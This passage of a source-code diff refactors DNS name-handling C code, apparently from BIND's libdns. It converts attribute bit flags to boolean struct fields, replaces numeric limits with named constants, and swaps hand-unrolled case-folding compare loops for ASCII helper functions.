-	0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
-	0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
-	0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
-	0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
-	0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
-	0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
-	0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
-	0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
-	0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
-	0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
-	0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
-	0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
-	0xfc, 0xfd, 0xfe, 0xff
-};
-
-#define CONVERTTOASCII(c)
-#define CONVERTFROMASCII(c)
-
 #define INIT_OFFSETS(name, var, default_offsets) \
 	if ((name)->offsets != NULL)             \
 		var = (name)->offsets;           \
@@ -110,21 +64,19 @@ static unsigned char maptolower[] = {
  * Note:  If additional attributes are added that should not be set for
  *	  empty names, MAKE_EMPTY() must be changed so it clears them.
  */
-#define MAKE_EMPTY(name)                                    \
-	do {                                                \
-		name->ndata = NULL;                         \
-		name->length = 0;                           \
-		name->labels = 0;                           \
-		name->attributes &= ~DNS_NAMEATTR_ABSOLUTE; \
+#define MAKE_EMPTY(name)                           \
+	do {                                       \
+		name->ndata = NULL;                \
+		name->length = 0;                  \
+		name->labels = 0;                  \
+		name->attributes.absolute = false; \
 	} while (0);
 
 /*%
  * A name is "bindable" if it can be set to point to a new value, i.e.
  * name->ndata and name->length may be changed.
  */
-#define BINDABLE(name)       \
-	((name->attributes & \
-	  (DNS_NAMEATTR_READONLY | DNS_NAMEATTR_DYNAMIC)) == 0)
+#define BINDABLE(name) (!name->attributes.readonly && !name->attributes.dynamic)
 
 /*%
  * Note that the name data must be a char array, not a string
@@ -135,7 +87,7 @@ static unsigned char root_ndata[] = { "" };
 static unsigned char root_offsets[] = { 0 };
 
 static dns_name_t root = DNS_NAME_INITABSOLUTE(root_ndata, root_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_rootname = &root;
+const dns_name_t *dns_rootname = &root;
 
 static unsigned char wild_ndata[] = { "\001*" };
 static unsigned char wild_offsets[] = { 0 };
@@ -143,7 +95,7 @@ static unsigned char wild_offsets[] = { 0 };
 static dns_name_t const wild = DNS_NAME_INITNONABSOLUTE(wild_ndata,
 							wild_offsets);
 
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_wildcardname = &wild;
+const dns_name_t *dns_wildcardname = &wild;
 
 /*
  * dns_name_t to text post-conversion procedure.
@@ -182,7 +134,7 @@ dns_name_invalidate(dns_name_t *name) {
 	name->ndata = NULL;
 	name->length = 0;
 	name->labels = 0;
-	name->attributes = 0;
+	name->attributes = (struct dns_name_attrs){};
 	name->offsets = NULL;
 	name->buffer = NULL;
 	ISC_LINK_INIT(name, link);
@@ -197,7 +149,9 @@ dns_name_isvalid(const dns_name_t *name) {
 		return (false);
 	}
 
-	if (name->length > 255U || name->labels > 127U) {
+	if (name->length > DNS_NAME_MAXWIRE ||
+	    name->labels > DNS_NAME_MAXLABELS)
+	{
 		return (false);
 	}
 
@@ -209,7 +163,7 @@ dns_name_isvalid(const dns_name_t *name) {
 
 	while (offset != length) {
 		count = *ndata;
-		if (count > 63U) {
+		if (count > DNS_NAME_LABELLEN) {
 			return (false);
 		}
 		if (offsets != NULL && offsets[nlabels] != offset) {
@@ -270,10 +224,7 @@ dns_name_isabsolute(const dns_name_t *name) {
 
 	REQUIRE(VALID_NAME(name));
 
-	if ((name->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-		return (true);
-	}
-	return (false);
+	return name->attributes.absolute;
 }
 
 #define hyphenchar(c) ((c) == 0x2d)
@@ -293,7 +244,7 @@ dns_name_ismailbox(const dns_name_t *name) {
 
 	REQUIRE(VALID_NAME(name));
 	REQUIRE(name->labels > 0);
-	REQUIRE(name->attributes & DNS_NAMEATTR_ABSOLUTE);
+	REQUIRE(name->attributes.absolute);
 
 	/*
 	 * Root label.
@@ -304,7 +255,7 @@ dns_name_ismailbox(const dns_name_t *name) {
 
 	ndata = name->ndata;
 	n = *ndata++;
-	INSIST(n <= 63);
+	INSIST(n <= DNS_NAME_LABELLEN);
 	while (n--) {
 		ch = *ndata++;
 		if (!domainchar(ch)) {
@@ -321,7 +272,7 @@ dns_name_ismailbox(const dns_name_t *name) {
 	 */
 	while (ndata < (name->ndata + name->length)) {
 		n = *ndata++;
-		INSIST(n <= 63);
+		INSIST(n <= DNS_NAME_LABELLEN);
 		first = true;
 		while (n--) {
 			ch = *ndata++;
@@ -348,7 +299,7 @@ dns_name_ishostname(const dns_name_t *name, bool wildcard) {
 
 	REQUIRE(VALID_NAME(name));
 	REQUIRE(name->labels > 0);
-	REQUIRE(name->attributes & DNS_NAMEATTR_ABSOLUTE);
+	REQUIRE(name->attributes.absolute);
 
 	/*
 	 * Root label.
@@ -370,7 +321,7 @@ dns_name_ishostname(const dns_name_t *name, bool wildcard) {
 	 */
 	while (ndata < (name->ndata + name->length)) {
 		n = *ndata++;
-		INSIST(n <= 63);
+		INSIST(n <= DNS_NAME_LABELLEN);
 		first = true;
 		while (n--) {
 			ch = *ndata++;
@@ -428,7 +379,7 @@ dns_name_internalwildcard(const dns_name_t *name) {
 	 */
 	ndata = name->ndata;
 	count = *ndata++;
-	INSIST(count <= 63);
+	INSIST(count <= DNS_NAME_LABELLEN);
 	ndata += count;
 	label = 1;
 	/*
@@ -436,7 +387,7 @@ dns_name_internalwildcard(const dns_name_t *name) {
 	 */
 	while (label + 1 < name->labels) {
 		count = *ndata++;
-		INSIST(count <= 63);
+		INSIST(count <= DNS_NAME_LABELLEN);
 		if (count == 1 && *ndata == '*') {
 			return (true);
 		}
@@ -446,48 +397,18 @@ dns_name_internalwildcard(const dns_name_t *name) {
 	return (false);
 }
 
-unsigned int
-dns_name_hash(const dns_name_t *name, bool case_sensitive) {
-	unsigned int length;
-
-	/*
-	 * Provide a hash value for 'name'.
-	 */
-	REQUIRE(VALID_NAME(name));
-
-	if (name->labels == 0) {
-		return (0);
-	}
-
-	length = name->length;
-	if (length > 16) {
-		length = 16;
-	}
-
-	/* High bits are more random. */
-	return (isc_hash32(name->ndata, length, case_sensitive));
-}
-
-unsigned int
-dns_name_fullhash(const dns_name_t *name, bool case_sensitive) {
-	/*
-	 * Provide a hash value for 'name'.
-	 */
+uint32_t
+dns_name_hash(const dns_name_t *name) {
 	REQUIRE(VALID_NAME(name));
 
-	if (name->labels == 0) {
-		return (0);
-	}
-
-	/* High bits are more random. */
-	return (isc_hash32(name->ndata, name->length, case_sensitive));
+	return (isc_hash32(name->ndata, name->length, false));
 }
 
 dns_namereln_t
 dns_name_fullcompare(const dns_name_t *name1, const dns_name_t *name2,
 		     int *orderp, unsigned int *nlabelsp) {
 	unsigned int l1, l2, l, count1, count2, count, nlabels;
-	int cdiff, ldiff, chdiff;
+	int cdiff, ldiff, diff;
 	unsigned char *label1, *label2;
 	unsigned char *offsets1, *offsets2;
 	dns_offsets_t odata1, odata2;
@@ -511,10 +432,9 @@ dns_name_fullcompare(const dns_name_t *name1, const dns_name_t *name2,
 	/*
 	 * Either name1 is absolute and name2 is absolute, or neither is.
 	 */
-	REQUIRE((name1->attributes & DNS_NAMEATTR_ABSOLUTE) ==
-		(name2->attributes & DNS_NAMEATTR_ABSOLUTE));
+	REQUIRE((name1->attributes.absolute) == (name2->attributes.absolute));
 
-	if (ISC_UNLIKELY(name1 == name2)) {
+	if (name1 == name2) {
 		*orderp = 0;
 		*nlabelsp = name1->labels;
 		return (dns_namereln_equal);
@@ -537,8 +457,7 @@ dns_name_fullcompare(const dns_name_t *name1, const dns_name_t *name2,
 	offsets1 += l1;
 	offsets2 += l2;
 
-	while (ISC_LIKELY(l > 0)) {
-		l--;
+	while (l-- > 0) {
 		offsets1--;
 		offsets2--;
 		label1 = &name1->ndata[*offsets1];
@@ -546,12 +465,6 @@ dns_name_fullcompare(const dns_name_t *name1, const dns_name_t *name2,
 		count1 = *label1++;
 		count2 = *label2++;
 
-		/*
-		 * We dropped bitstring labels, and we don't support any
-		 * other extended label types.
-		 */
-		INSIST(count1 <= 63 && count2 <= 63);
-
 		cdiff = (int)count1 - (int)count2;
 		if (cdiff < 0) {
 			count = count1;
@@ -559,44 +472,12 @@ dns_name_fullcompare(const dns_name_t *name1, const dns_name_t *name2,
 			count = count2;
 		}
 
-		/* Loop unrolled for performance */
-		while (ISC_LIKELY(count > 3)) {
-			chdiff = (int)maptolower[label1[0]] -
-				 (int)maptolower[label2[0]];
-			if (chdiff != 0) {
-				*orderp = chdiff;
-				goto done;
-			}
-			chdiff = (int)maptolower[label1[1]] -
-				 (int)maptolower[label2[1]];
-			if (chdiff != 0) {
-				*orderp = chdiff;
-				goto done;
-			}
-			chdiff = (int)maptolower[label1[2]] -
-				 (int)maptolower[label2[2]];
-			if (chdiff != 0) {
-				*orderp = chdiff;
-				goto done;
-			}
-			chdiff = (int)maptolower[label1[3]] -
-				 (int)maptolower[label2[3]];
-			if (chdiff != 0) {
-				*orderp = chdiff;
-				goto done;
-			}
-			count -= 4;
-			label1 += 4;
-			label2 += 4;
-		}
-		while (ISC_LIKELY(count-- > 0)) {
-			chdiff = (int)maptolower[*label1++] -
-				 (int)maptolower[*label2++];
-			if (chdiff != 0) {
-				*orderp = chdiff;
-				goto done;
-			}
+		diff = isc_ascii_lowercmp(label1, label2, count);
+		if (diff != 0) {
+			*orderp = diff;
+			goto done;
 		}
+
 		if (cdiff != 0) {
 			*orderp = cdiff;
 			goto done;
@@ -646,9 +527,7 @@ dns_name_compare(const dns_name_t *name1, const dns_name_t *name2) {
 
 bool
 dns_name_equal(const dns_name_t *name1, const dns_name_t *name2) {
-	unsigned int l, count;
-	unsigned char c;
-	unsigned char *label1, *label2;
+	unsigned int length;
 
 	/*
 	 * Are 'name1' and 'name2' equal?
@@ -664,64 +543,19 @@ dns_name_equal(const dns_name_t *name1, const dns_name_t *name2) {
 	/*
 	 * Either name1 is absolute and name2 is absolute, or neither is.
 	 */
-	REQUIRE((name1->attributes & DNS_NAMEATTR_ABSOLUTE) ==
-		(name2->attributes & DNS_NAMEATTR_ABSOLUTE));
+	REQUIRE((name1->attributes.absolute) == (name2->attributes.absolute));
 
-	if (ISC_UNLIKELY(name1 == name2)) {
+	if (name1 == name2) {
 		return (true);
 	}
 
-	if (name1->length != name2->length) {
-		return (false);
-	}
-
-	l = name1->labels;
-
-	if (l != name2->labels) {
+	length = name1->length;
+	if (length != name2->length) {
 		return (false);
 	}
 
-	label1 = name1->ndata;
-	label2 = name2->ndata;
-	while (ISC_LIKELY(l-- > 0)) {
-		count = *label1++;
-		if (count != *label2++) {
-			return (false);
-		}
-
-		INSIST(count <= 63); /* no bitstring support */
-
-		/* Loop unrolled for performance */
-		while (ISC_LIKELY(count > 3)) {
-			c = maptolower[label1[0]];
-			if (c != maptolower[label2[0]]) {
-				return (false);
-			}
-			c = maptolower[label1[1]];
-			if (c != maptolower[label2[1]]) {
-				return (false);
-			}
-			c = maptolower[label1[2]];
-			if (c != maptolower[label2[2]]) {
-				return (false);
-			}
-			c = maptolower[label1[3]];
-			if (c != maptolower[label2[3]]) {
-				return (false);
-			}
-			count -= 4;
-			label1 += 4;
-			label2 += 4;
-		}
-		while (ISC_LIKELY(count-- > 0)) {
-			c = maptolower[*label1++];
-			if (c != maptolower[*label2++]) {
-				return (false);
-			}
-		}
-	}
-
-	return (true);
+	/* label lengths are < 64 so tolower() does not affect them */
+	return (isc_ascii_lowerequal(name1->ndata, name2->ndata, length));
 }
 
 bool
@@ -740,8 +574,7 @@ dns_name_caseequal(const dns_name_t *name1, const dns_name_t *name2) {
 	/*
 	 * Either name1 is absolute and name2 is absolute, or neither is.
 	 */
-	REQUIRE((name1->attributes & DNS_NAMEATTR_ABSOLUTE) ==
-		(name2->attributes & DNS_NAMEATTR_ABSOLUTE));
+	REQUIRE((name1->attributes.absolute) == (name2->attributes.absolute));
 
 	if (name1->length != name2->length) {
 		return (false);
@@ -756,62 +589,20 @@ dns_name_caseequal(const dns_name_t *name1, const dns_name_t *name2) {
 
 int
 dns_name_rdatacompare(const dns_name_t *name1, const dns_name_t *name2) {
-	unsigned int l1, l2, l, count1, count2, count;
-	unsigned char c1, c2;
-	unsigned char *label1, *label2;
-
 	/*
 	 * Compare two absolute names as rdata.
 	 */
 
 	REQUIRE(VALID_NAME(name1));
 	REQUIRE(name1->labels > 0);
-	REQUIRE((name1->attributes & DNS_NAMEATTR_ABSOLUTE) != 0);
+	REQUIRE(name1->attributes.absolute);
 	REQUIRE(VALID_NAME(name2));
 	REQUIRE(name2->labels > 0);
-	REQUIRE((name2->attributes & DNS_NAMEATTR_ABSOLUTE) != 0);
-
-	l1 = name1->labels;
-	l2 = name2->labels;
-
-	l = (l1 < l2) ? l1 : l2;
+	REQUIRE(name2->attributes.absolute);
 
-	label1 = name1->ndata;
-	label2 = name2->ndata;
-	while (l > 0) {
-		l--;
-		count1 = *label1++;
-		count2 = *label2++;
-
-		/* no bitstring support */
-		INSIST(count1 <= 63 && count2 <= 63);
-
-		if (count1 != count2) {
-			return ((count1 < count2) ? -1 : 1);
-		}
-		count = count1;
-		while (count > 0) {
-			count--;
-			c1 = maptolower[*label1++];
-			c2 = maptolower[*label2++];
-			if (c1 < c2) {
-				return (-1);
-			} else if (c1 > c2) {
-				return (1);
-			}
-		}
-	}
-
-	/*
-	 * If one name had more labels than the other, their common
-	 * prefix must have been different because the shorter name
-	 * ended with the root label and the longer one can't have
-	 * a root label in the middle of it.  Therefore, if we get
-	 * to this point, the lengths must be equal.
-	 */
-	INSIST(l1 == l2);
-
-	return (0);
+	/* label lengths are < 64 so tolower() does not affect them */
+	return (isc_ascii_lowercmp(name1->ndata, name2->ndata,
+				   ISC_MIN(name1->length, name2->length)));
 }
 
 bool
@@ -831,7 +622,8 @@ dns_name_issubdomain(const dns_name_t *name1, const dns_name_t *name2) {
 
 	namereln = dns_name_fullcompare(name1, name2, &order, &nlabels);
 	if (namereln == dns_namereln_subdomain ||
-	    namereln == dns_namereln_equal) {
+	    namereln == dns_namereln_equal)
+	{
 		return (true);
 	}
 
@@ -851,12 +643,6 @@ dns_name_matcheswildcard(const dns_name_t *name, const dns_name_t *wname) {
 	REQUIRE(labels > 0);
 	REQUIRE(dns_name_iswildcard(wname));
 
-#if defined(__clang__) && \
-	(__clang_major__ < 3 || (__clang_major__ == 3 && __clang_minor__ < 2))
-	memset(&tname, 0, sizeof(tname));
-#endif /* if defined(__clang__) && (__clang_major__ < 3 || (__clang_major__ == \
-	* 3                                                                    \
-	* && __clang_minor__ < 2)) */
 	DNS_NAME_INIT(&tname, NULL);
 	dns_name_getlabelsequence(wname, 1, labels - 1, &tname);
 	if (dns_name_fullcompare(name, &tname, &order, &nlabels) ==
@@ -875,7 +661,7 @@ dns_name_countlabels(const dns_name_t *name) {
 
 	REQUIRE(VALID_NAME(name));
 
-	ENSURE(name->labels <= 128);
+	ENSURE(name->labels <= DNS_NAME_MAXLABELS);
 
 	return (name->labels);
 }
@@ -923,7 +709,7 @@ dns_name_getlabelsequence(const dns_name_t *source, unsigned int first,
 	REQUIRE(BINDABLE(target));
 
 	p = source->ndata;
-	if (ISC_UNLIKELY(first == source->labels)) {
+	if (first == source->labels) {
 		firstoffset = source->length;
 	} else {
 		for (i = 0; i < first; i++) {
@@ -933,7 +719,7 @@ dns_name_getlabelsequence(const dns_name_t *source, unsigned int first,
 		firstoffset = (unsigned int)(p - source->ndata);
 	}
 
-	if (ISC_LIKELY(first + n == source->labels)) {
+	if (first + n == source->labels) {
 		endoffset = source->length;
 	} else {
 		for (i = 0; i < n; i++) {
@@ -946,12 +732,11 @@ dns_name_getlabelsequence(const dns_name_t *source, unsigned int first,
 	target->ndata = &source->ndata[firstoffset];
 	target->length = endoffset - firstoffset;
 
-	if (first + n == source->labels && n > 0 &&
-	    (source->attributes & DNS_NAMEATTR_ABSOLUTE) != 0)
+	if (first + n == source->labels && n > 0 && source->attributes.absolute)
 	{
-		target->attributes |= DNS_NAMEATTR_ABSOLUTE;
+		target->attributes.absolute = true;
 	} else {
-		target->attributes &= ~DNS_NAMEATTR_ABSOLUTE;
+		target->attributes.absolute = false;
 	}
 
 	target->labels = n;
@@ -979,10 +764,10 @@ dns_name_clone(const dns_name_t *source, dns_name_t *target) {
 	target->ndata = source->ndata;
 	target->length = source->length;
 	target->labels = source->labels;
-	target->attributes = source->attributes &
-			     (unsigned int)~(DNS_NAMEATTR_READONLY |
-					     DNS_NAMEATTR_DYNAMIC |
-					     DNS_NAMEATTR_DYNOFFSETS);
+	target->attributes = source->attributes;
+	target->attributes.readonly = false;
+	target->attributes.dynamic = false;
+	target->attributes.dynoffsets = false;
 	if (target->offsets != NULL && source->labels > 0) {
 		if (source->offsets != NULL) {
 			memmove(target->offsets, source->offsets,
@@ -1033,7 +818,7 @@ dns_name_fromregion(dns_name_t *name, const isc_region_t *r) {
 		set_offsets(name, offsets, name);
 	} else {
 		name->labels = 0;
-		name->attributes &= ~DNS_NAMEATTR_ABSOLUTE;
+		name->attributes.absolute = false;
 	}
 
 	if (name->buffer != NULL) {
@@ -1109,8 +894,8 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 	tused = 0;
 	ndata = isc_buffer_used(target);
 	nrem = isc_buffer_availablelength(target);
-	if (nrem > 255) {
-		nrem = 255;
+	if (nrem > DNS_NAME_MAXWIRE) {
+		nrem = DNS_NAME_MAXWIRE;
 	}
 	nused = 0;
 	labels = 0;
@@ -1143,7 +928,7 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 				break;
 			}
 
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case ft_start:
 			label = ndata;
 			ndata++;
@@ -1158,7 +943,7 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			if (nrem == 0) {
 				return (ISC_R_NOSPACE);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case ft_ordinary:
 			if (c == '.') {
 				if (count == 0) {
@@ -1166,7 +951,7 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 				}
 				*label = count;
 				labels++;
-				INSIST(labels <= 127);
+				INSIST(labels < DNS_NAME_MAXLABELS);
 				offsets[labels] = nused;
 				if (tlen == 0) {
 					labels++;
@@ -1179,13 +964,12 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			} else if (c == '\\') {
 				state = ft_escape;
 			} else {
-				if (count >= 63) {
+				if (count >= DNS_NAME_LABELLEN) {
 					return (DNS_R_LABELTOOLONG);
 				}
 				count++;
-				CONVERTTOASCII(c);
 				if (downcase) {
-					c = maptolower[c & 0xff];
+					c = isc_ascii_tolower(c);
 				}
 				*ndata++ = c;
 				nrem--;
@@ -1202,16 +986,15 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			}
 			state = ft_escape;
 			POST(state);
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case ft_escape:
 			if (!isdigit((unsigned char)c)) {
-				if (count >= 63) {
+				if (count >= DNS_NAME_LABELLEN) {
 					return (DNS_R_LABELTOOLONG);
 				}
 				count++;
-				CONVERTTOASCII(c);
 				if (downcase) {
-					c = maptolower[c & 0xff];
+					c = isc_ascii_tolower(c);
 				}
 				*ndata++ = c;
 				nrem--;
@@ -1222,24 +1005,23 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			digits = 0;
 			value = 0;
 			state = ft_escdecimal;
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case ft_escdecimal:
 			if (!isdigit((unsigned char)c)) {
 				return (DNS_R_BADESCAPE);
 			}
-			value *= 10;
-			value += digitvalue[c & 0xff];
+			value = 10 * value + c - '0';
 			digits++;
 			if (digits == 3) {
 				if (value > 255) {
 					return (DNS_R_BADESCAPE);
 				}
-				if (count >= 63) {
+				if (count >= DNS_NAME_LABELLEN) {
 					return (DNS_R_LABELTOOLONG);
 				}
 				count++;
 				if (downcase) {
-					value = maptolower[value];
+					value = isc_ascii_tolower(value);
 				}
 				*ndata++ = value;
 				nrem--;
@@ -1248,8 +1030,7 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			}
 			break;
 		default:
-			FATAL_ERROR(__FILE__, __LINE__, "Unexpected state %d",
-				    state);
+			FATAL_ERROR("Unexpected state %d", state);
 			/* Does not return. */
 		}
 	}
@@ -1267,7 +1048,7 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			INSIST(label != NULL);
 			*label = count;
 			labels++;
-			INSIST(labels <= 127);
+			INSIST(labels < DNS_NAME_MAXLABELS);
 			offsets[labels] = nused;
 		}
 		if (origin != NULL) {
@@ -1280,30 +1061,30 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 			POST(nrem);
 			while (n1 > 0) {
 				n2 = *label++;
-				INSIST(n2 <= 63); /* no bitstring support */
+				INSIST(n2 <= DNS_NAME_LABELLEN);
 				*ndata++ = n2;
 				n1 -= n2 + 1;
 				nused += n2 + 1;
 				while (n2 > 0) {
 					c = *label++;
 					if (downcase) {
-						c = maptolower[c & 0xff];
+						c = isc_ascii_tolower(c);
 					}
 					*ndata++ = c;
 					n2--;
 				}
 				labels++;
 				if (n1 > 0) {
-					INSIST(labels <= 127);
+					INSIST(labels < DNS_NAME_MAXLABELS);
 					offsets[labels] = nused;
 				}
 			}
-			if ((origin->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-				name->attributes |= DNS_NAMEATTR_ABSOLUTE;
+			if (origin->attributes.absolute) {
+				name->attributes.absolute = true;
 			}
 		}
 	} else {
-		name->attributes |= DNS_NAMEATTR_ABSOLUTE;
+		name->attributes.absolute = true;
 	}
 
 	name->ndata = (unsigned char *)target->base + target->used;
@@ -1317,24 +1098,8 @@ dns_name_fromtext(dns_name_t *name, isc_buffer_t *source,
 }
 
 isc_result_t
-dns_name_totext(const dns_name_t *name, bool omit_final_dot,
+dns_name_totext(const dns_name_t *name, unsigned int options,
 		isc_buffer_t *target) {
-	unsigned int options = DNS_NAME_MASTERFILE;
-
-	if (omit_final_dot) {
-		options |= DNS_NAME_OMITFINALDOT;
-	}
-	return (dns_name_totext2(name, options, target));
-}
-
-isc_result_t
-dns_name_toprincipal(const dns_name_t *name, isc_buffer_t *target) {
-	return (dns_name_totext2(name, DNS_NAME_OMITFINALDOT, target));
-}
-
-isc_result_t
-dns_name_totext2(const dns_name_t *name, unsigned int options,
-		 isc_buffer_t *target) {
 	unsigned char *ndata;
 	char *tdata;
 	unsigned int nlen, tlen;
@@ -1413,7 +1178,7 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
 			saw_root = true;
 			break;
 		}
-		if (count < 64) {
+		if (count <= DNS_NAME_LABELLEN) {
 			INSIST(nlen >= count);
 			while (count > 0) {
 				c = *ndata;
@@ -1421,11 +1186,11 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
 				/* Special modifiers in zone files. */
 				case 0x40: /* '@' */
 				case 0x24: /* '$' */
-					if ((options & DNS_NAME_MASTERFILE) ==
-					    0) {
+					if ((options & DNS_NAME_PRINCIPAL) != 0)
+					{
 						goto no_escape;
 					}
-				/* FALLTHROUGH */
+					FALLTHROUGH;
 				case 0x22: /* '"' */
 				case 0x28: /* '(' */
 				case 0x29: /* ')' */
@@ -1436,7 +1201,6 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
 						return (ISC_R_NOSPACE);
 					}
 					*tdata++ = '\\';
-					CONVERTFROMASCII(c);
 					*tdata++ = c;
 					ndata++;
 					trem -= 2;
@@ -1448,7 +1212,6 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
 						if (trem == 0) {
 							return (ISC_R_NOSPACE);
 						}
-						CONVERTFROMASCII(c);
 						*tdata++ = c;
 						ndata++;
 						trem--;
@@ -1471,9 +1234,8 @@ dns_name_totext2(const dns_name_t *name, unsigned int options,
 				count--;
 			}
 		} else {
-			FATAL_ERROR(__FILE__, __LINE__,
-				    "Unexpected label type %02x", count);
-			/* NOTREACHED */
+			FATAL_ERROR("Unexpected label type %02x", count);
+			UNREACHABLE();
 		}
 
 		/*
@@ -1524,7 +1286,7 @@ dns_name_tofilenametext(const dns_name_t *name, bool omit_final_dot,
 	 * wire format.
 	 */
 	REQUIRE(VALID_NAME(name));
-	REQUIRE((name->attributes & DNS_NAMEATTR_ABSOLUTE) != 0);
+	REQUIRE(name->attributes.absolute);
 	REQUIRE(ISC_BUFFER_VALID(target));
 
 	ndata = name->ndata;
@@ -1560,7 +1322,7 @@ dns_name_tofilenametext(const dns_name_t *name, bool omit_final_dot,
 		if (count == 0) {
 			break;
 		}
-		if (count < 64) {
+		if (count <= DNS_NAME_LABELLEN) {
 			INSIST(nlen >= count);
 			while (count > 0) {
 				c = *ndata;
@@ -1577,7 +1339,6 @@ dns_name_tofilenametext(const dns_name_t *name, bool omit_final_dot,
 					if (c >= 0x41 && c <= 0x5A) {
 						c += 0x20;
 					}
-					CONVERTFROMASCII(c);
 					*tdata++ = c;
 					ndata++;
 					trem--;
@@ -1595,9 +1356,8 @@ dns_name_tofilenametext(const dns_name_t *name, bool omit_final_dot,
 				count--;
 			}
 		} else {
-			FATAL_ERROR(__FILE__, __LINE__,
-				    "Unexpected label type %02x", count);
-			/* NOTREACHED */
+			FATAL_ERROR("Unexpected label type %02x", count);
+			UNREACHABLE();
 		}
 
 		/*
@@ -1629,8 +1389,7 @@ dns_name_tofilenametext(const dns_name_t *name, bool omit_final_dot,
 isc_result_t
 dns_name_downcase(const dns_name_t *source, dns_name_t *name,
 		  isc_buffer_t *target) {
-	unsigned char *sndata, *ndata;
-	unsigned int nlen, count, labels;
+	unsigned char *ndata;
 	isc_buffer_t buffer;
 
 	/*
@@ -1640,7 +1399,7 @@ dns_name_downcase(const dns_name_t *source, dns_name_t *name,
 	REQUIRE(VALID_NAME(source));
 	REQUIRE(VALID_NAME(name));
 	if (source == name) {
-		REQUIRE((name->attributes & DNS_NAMEATTR_READONLY) == 0);
+		REQUIRE(!name->attributes.readonly);
 		isc_buffer_init(&buffer, source->ndata, source->length);
 		target = &buffer;
 		ndata = source->ndata;
@@ -1656,42 +1415,20 @@ dns_name_downcase(const dns_name_t *source, dns_name_t *name,
 		name->ndata = ndata;
 	}
 
-	sndata = source->ndata;
-	nlen = source->length;
-	labels = source->labels;
-
-	if (nlen > (target->length - target->used)) {
+	if (source->length > (target->length - target->used)) {
 		MAKE_EMPTY(name);
 		return (ISC_R_NOSPACE);
 	}
 
-	while (labels > 0 && nlen > 0) {
-		labels--;
-		count = *sndata++;
-		*ndata++ = count;
-		nlen--;
-		if (count < 64) {
-			INSIST(nlen >= count);
-			while (count > 0) {
-				*ndata++ = maptolower[(*sndata++)];
-				nlen--;
-				count--;
-			}
-		} else {
-			FATAL_ERROR(__FILE__, __LINE__,
-				    "Unexpected label type %02x", count);
-			/* Does not return. */
-		}
-	}
+	/* label lengths are < 64 so tolower() does not affect them */
+	isc_ascii_lowercopy(ndata, source->ndata, source->length);
 
 	if (source != name) {
 		name->labels = source->labels;
 		name->length = source->length;
-		if ((source->attributes & DNS_NAMEATTR_ABSOLUTE) != 0) {
-			name->attributes = DNS_NAMEATTR_ABSOLUTE;
-		} else {
-			name->attributes = 0;
-		}
+		name->attributes = (struct dns_name_attrs){
+			.absolute = source->attributes.absolute
+		};
 		if (name->labels > 0 && name->offsets != NULL) {
 			set_offsets(name, name->offsets, NULL);
 		}
@@ -1714,15 +1451,15 @@ set_offsets(const dns_name_t *name, unsigned char *offsets,
 	offset = 0;
 	nlabels = 0;
 	absolute = false;
-	while (ISC_LIKELY(offset != length)) {
-		INSIST(nlabels < 128);
+	while (offset != length) {
+		INSIST(nlabels < DNS_NAME_MAXLABELS);
 		offsets[nlabels++] = offset;
 		count = *ndata;
-		INSIST(count <= 63);
+		INSIST(count <= DNS_NAME_LABELLEN);
 		offset += count + 1;
 		ndata += count + 1;
 		INSIST(offset <= length);
-		if (ISC_UNLIKELY(count == 0)) {
+		if (count == 0) {
 			absolute = true;
 			break;
 		}
@@ -1732,215 +1469,190 @@ set_offsets(const dns_name_t *name, unsigned char *offsets,
 
 		set_name->labels = nlabels;
 		set_name->length = offset;
-		if (absolute) {
-			set_name->attributes |= DNS_NAMEATTR_ABSOLUTE;
-		} else {
-			set_name->attributes &= ~DNS_NAMEATTR_ABSOLUTE;
-		}
+		set_name->attributes.absolute = absolute;
 	}
 	INSIST(nlabels == name->labels);
 	INSIST(offset == name->length);
 }
 
 isc_result_t
